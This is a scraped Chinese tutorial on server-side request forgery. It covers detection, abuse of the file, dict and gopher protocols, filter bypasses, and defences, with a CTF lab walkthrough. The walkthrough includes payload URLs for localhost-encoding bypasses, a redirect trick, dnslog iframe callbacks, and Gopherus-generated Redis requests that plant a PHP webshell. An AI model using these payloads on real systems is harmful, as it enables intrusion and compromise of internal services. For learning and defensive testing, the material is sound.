WEB攻防-SSRF服务端请求&Gopher伪协议&无回显利用&黑白盒挖掘&业务功能点

这篇具有很好参考价值的文章主要介绍了WEB攻防-SSRF服务端请求&Gopher伪协议&无回显利用&黑白盒挖掘&业务功能点。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

#知识点:
1、SSRF-原理-外部资源加载
2、SSRF-利用-伪协议&无回显
3、SSRF-挖掘-业务功能&URL参数

无回显ssrf,# WEB安全,SSRF,伪协议,无回显

无回显ssrf,# WEB安全,SSRF,伪协议,无回显

1.SSRF-原理&挖掘&利用&修复

一、SSRF漏洞原理

SSRF(Server-Side Request Forgery:服务器端请求伪造) 
一种由攻击者构造形成由服务端发起请求的一个安全漏洞;
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
需要考虑有回显和无回显问题

二、SSRF无回显解决办法

跟RCE无回显道理是一样的,两种解决方法:
1.反向连接(一般SSRF都是用这个反向连接方式,因为SSRF无法写文件)

让疑似存在RCE(SSRF)的目标请求外部一个网站,dnslog或者自己用vps python启用一个web服务,当dnslog或者自启用网站能接收到请求信息时,不就代表目标存在RCE(SSRF)) 

无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
2.正向连接(一般RCE执行可以用这个方式,SSRF得用第一种方式)

1.写个文件在对方网站目录下,然后再去访问网站目录是否存在这个文件就能判断目标是否执行了RCE命令
2.让目标用nc起个监听,我们主动连过去。

三、SSRF漏洞挖掘

黑盒探针:

-业务功能点
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

URL关键参数

share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain

白盒分析

文件读取,加载,数据操作类的函数

四、SSRF伪协议利用

http:// (常用)

Web常见访问,如http://127.0.0.1、http://127.0.0.1:8080、http://192.168.1.1、http://192.168.1.2等
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

file:/// (常用)

从文件系统中获取文件内容,如,file:///etc/passwd、file:///D:/1.txt
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

dict:// (常用)

字典服务器协议,访问字典资源,如,dict:///ip:6379/info

sftp://

SSH文件传输协议或安全文件传输协议

ldap://

轻量级目录访问协议

tftp://

简单文件传输协议

gopher:// (常用)

分布式文档传递服务,可使用gopherus生成payload
有部分服务是http协议不支持通讯的,那么可以用gopher来进行通讯(如mysql,redis服务等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

五、SSRF绕过方式

-限制为必须有http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxyy.com

-限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
(2)采取域名解析
(3)采取进制转换
(4)采取3XX重定向

六、SSRF漏洞防御

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

2. 白盒CTF-绕过&伪协议&审计点

练习环境:CTFSHOW SSRF 白盒

1、无过滤直接获取

url=http://127.0.0.1/flag.php
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

2-3、IP地址进制绕过

无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
十六进制(需要添加上0x)
0x的目的是为了表示后面的数是十六进制,在编程里面一般都要加入,用来区别十进制数
url=http://0x7F.0.0.1/flag.php
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
八进制
url=http://0177.0.0.1/flag.php

10 进制全部转换
url=http://2130706433/flag.php
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
16 进制全部转换,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php

还有一种特殊的省略模式
127.0.0.1写成127.1

用CIDR绕过localhost
url=http://127.127.127.127/flag.php

还有很多方式
url=http://0/flag.php
url=http://0.0.0.0/flag.php

4、域名解析IP绕过

test.xiaodi8.com -> 127.0.0.1
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
url=http://test.xiaodi8.com/flag.php
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

5、长度限制IP绕过

url=http://127.1/flag.php
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

6、长度限制IP绕过

url=http://0/flag.php
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

7、利用重定向解析绕过

<?php
header("Location:http://127.0.0.1/flag.php"); 
其作用是:当执行该脚本时,会直接跳转到对应的网址,即Location: 后面的网址。

url=http://47.94.236.117/xx.php
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

8、匹配且不影响写法解析

url=http://ctf.@127.0.0.1/flag.php#show
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

9-10、利用gopher协议打服务

有一些前提条件,比如redis未授权、mysql无密码等

无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
https://github.com/tarunkant/Gopherus
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

1.mysql

d:Python2.7\python.exe gopherus.py --exploit mysql

无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

无回显ssrf,# WEB安全,SSRF,伪协议,无回显

2.redis

2.d:Python2.7\python.exe gopherus.py --exploit redis
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
然后填入绝对路径,这里刚好是默认的,回车就好
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
然后填写要写入的内容,我这里写的一句话木马
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
生成好了,如果执行成功他会再目录下生成shell.php这个文件
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
现在这个语句还不能马上拿去用,需要做一下处理gopher://127.0.0.1:6379/_这部分不用变,后面的复制,再拿去进行一次url编码,然后拼接回gopher://127.0.0.1:6379/_后面

然后传参给url参数,回车
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
shell写入成功
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

3. 黑盒WEB-业务功能&URL关键字

黑盒如何探针:

无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

两个真实案例:

无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

SRC(文件导出/格式转换 SSRF)

无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显

<iframe src="http://6p5vvu.dnslog.cn">
<iframe src="6p5vvu.dnslog.cn">
<iframe>标签是干嘛的?

无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显
无回显ssrf,# WEB安全,SSRF,伪协议,无回显文章来源地址https://www.toymoban.com/news/detail-841705.html

SSRF和文件包含黑盒如何区分?

1.分析参数关键字(url字样大概率SSRF,file字样大概率文件包含)
2.看参数值地址(文件包含一般只允许包含本地,看能不能包含远程地址)
3.分析页面响应

多方面多角度分析

到了这里,关于WEB攻防-SSRF服务端请求&Gopher伪协议&无回显利用&黑白盒挖掘&业务功能点的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SSRF 服务器端请求伪造

    SSRF(Server-Side Request Forgery:服务器端请求伪造) 其形成的原因大都是由于服务端 提供了从其他服务器应用获取数据的功能 ,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据 数据流:攻击者----

    2024年02月12日
    浏览(49)
  • 服务端请求伪造(SSRF)及漏洞复现

    服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL,Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。 如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造\\\"的缺陷。“请求伪造”,顾名思义,攻击

    2024年02月09日
    浏览(41)
  • 服务端请求伪造(SSRF)及漏洞复现

    服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。 如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,

    2024年02月09日
    浏览(42)
  • 【CTF】SSRF服务器端请求伪造

    漏洞危害: 扫描内网开放端口服务 向内网中的任意主机的任意端口发送payload来攻击内网服务 向内网发动DOS攻击 攻击内网的Web应用(如直接SQL注入、XSS攻击等) 利用file、gopher、dict协议来读取本地文件、执行命令等 漏洞原理: 从pikachu中来看: 例子: 然后,使用百度翻译翻

    2024年02月04日
    浏览(37)
  • OWASP之SSRF服务器伪造请求

    SSRF(Server-Side Request Forgery:服务器端请求伪造) 是指攻击者能够从易受攻击 的Web应用程序发送精心设计的请求的对其他网站进行攻击。 SSRF攻击的目标是从外网无法访问的内部系统。利用一个可以发起网络请求的服务,当做跳板来攻击其它服务。简单来说就是:A让B帮忙访问C

    2024年02月10日
    浏览(39)
  • 【SSRF漏洞-01】服务端请求伪造靶场实战

    SSRF(Server-Side Request Forgery, 服务端请求伪造) 是一种 由攻击者构造请求,由服务器端发起请求的安全漏洞,本质上是属于信息泄露漏洞 。如果“请求伪造”发生在服务器端,那么这个漏洞就叫做“服务器端请求伪造”即SSRF。 SSRF是一种攻击者发起的伪造由服务器端发起请求的

    2024年02月04日
    浏览(36)
  • 新后端漏洞之----SSRF漏洞(服务端请求伪造)

    这几天各种技术面试接踵而至,压得我喘不过气了!然后面试官问了我这个SSRF漏洞原理和利用方式以及防御手段,当然同时还问了好几个Top10漏洞! 危害:一个不符合预期的请求就可能导致整个内网沦陷 全名 :Server Side Request Forgery 基本原理:攻击者构造恶意的URL,由服务器

    2024年02月11日
    浏览(36)
  • SSRF服务器请求伪造原理和pikachu靶场实验

    ★★ 免责声明★★ 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 1、SSRF简介 SSRF全称:Server-Side Request Forgery,服务器端请求伪造,是指攻击者能够从易受攻

    2024年03月13日
    浏览(49)
  • API安全——SSRF服务端请求伪造的原理以及防范

    SSRF全称Server-Side Request Forgery,服务端请求伪造。 在最新的2023 OWASP中API 安全的Top10榜单中,ssrf排第7。 我们在开发过程中,通常使用API 获取远程时出现服务器端请求伪造 (SSRF) 缺陷 资源,而不验证用户提供的 URL。它使攻击者能够 强制应用程序将精心编制的请求发送到意外

    2024年02月12日
    浏览(42)
  • Java代码审计安全篇-SSRF(服务端请求伪造)漏洞

    前言:  堕落了三个月,现在因为被找实习而困扰,着实自己能力不足,从今天开始 每天沉淀一点点 ,准备秋招 加油 注意: 本文章参考qax的网络安全java代码审计,记录自己的学习过程,还希望各位博主 师傅 大佬 勿喷,还希望大家指出错误 SSRF漏洞  SSRF(Server-side Request

    2024年03月15日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包